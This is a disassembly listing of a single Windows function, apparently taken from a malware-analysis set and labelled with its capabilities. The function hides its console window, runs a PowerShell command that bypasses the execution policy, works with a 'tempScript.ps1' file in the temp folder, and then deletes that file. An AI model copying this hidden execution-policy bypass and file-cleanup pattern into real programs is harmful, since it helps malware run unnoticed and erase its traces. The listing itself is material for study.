Function at 0x401b40
Capabilities:
Delete file
Execute command
Get common file path
Hide graphical window

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4043f0
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x160
mov eax, dword [0x408004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
push 0xc0
movups xmmword [ebp - 0x138], xmm0
call fcn.004035ca
mov dword [ebp - 0x138], eax
mov edi, eax
add esp, 4
mov dword [ebp - 0x124], 0x5f
mov dword [ebp - 0x128], 0x5a
mov ecx, 0x2d
mov esi, 0x405d40
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov word [eax + 0xb4], cx
lea eax, [ebp - 0x138]
cmp dword [ebp - 0x124], 8
push 0x40
cmovae eax, dword [ebp - 0x138]
push 0x4052ac
push eax
push ecx
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, dword [ebp - 0x124]
cmp ecx, 8
jb 0x401c3d
mov edx, dword [ebp - 0x138]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401c33
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401c33
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004035fa
add esp, 8
mov ecx, 0x405df8
call fcn.004012e0
mov ecx, 0x405dfc
call fcn.004012e0
push str.powershell.exe__ExecutionPolicy_Bypass__Command__Set_ExecutionPolicy_RemoteSigned__Scope_Process__Force_
lea ecx, [ebp - 0x138]
call fcn.00402b70
cmp dword [ebp - 0x124], 0x10
lea eax, [ebp - 0x138]
cmovae eax, dword [ebp - 0x138]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 0x124]
add esp, 4
cmp ecx, 0x10
jb 0x401cbb
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401cb1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401cb1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004035fa
add esp, 8
call fcn.004013e0
call fcn.00401650
lea eax, [ebp - 0x120]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x16c]
call fcn.00402b70
mov edi, eax
mov dword [ebp - 4], 0
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0xe
jb 0x401d29
lea eax, [ecx + 0xe]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x401d10
mov eax, dword [edi]
push 0xe
lea esi, [eax + ecx]
push str.tempScript.ps1
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xe], 0
jmp 0x401d48
push 0xe
push str.tempScript.ps1
mov byte [ebp - 0x154], 0
mov ecx, edi
push dword [ebp - 0x154]
push 0xe
call fcn.00403300
mov edi, eax
mov dword [ebp - 0x140], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x150], xmm0
mov dword [ebp - 0x13c], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x150], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x140], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov ecx, dword [ebp - 0x158]
cmp ecx, 0x10
jb 0x401dca
mov edx, dword [ebp - 0x16c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401dc0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401dc0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004035fa
add esp, 8
cmp dword [ebp - 0x13c], 0x10
lea eax, [ebp - 0x150]
cmovae eax, dword [ebp - 0x150]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, dword [ebp - 0x13c]
add esp, 4
cmp ecx, 0x10
jb 0x401e24
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401e1a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401e1a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004035fa
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004035bc
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret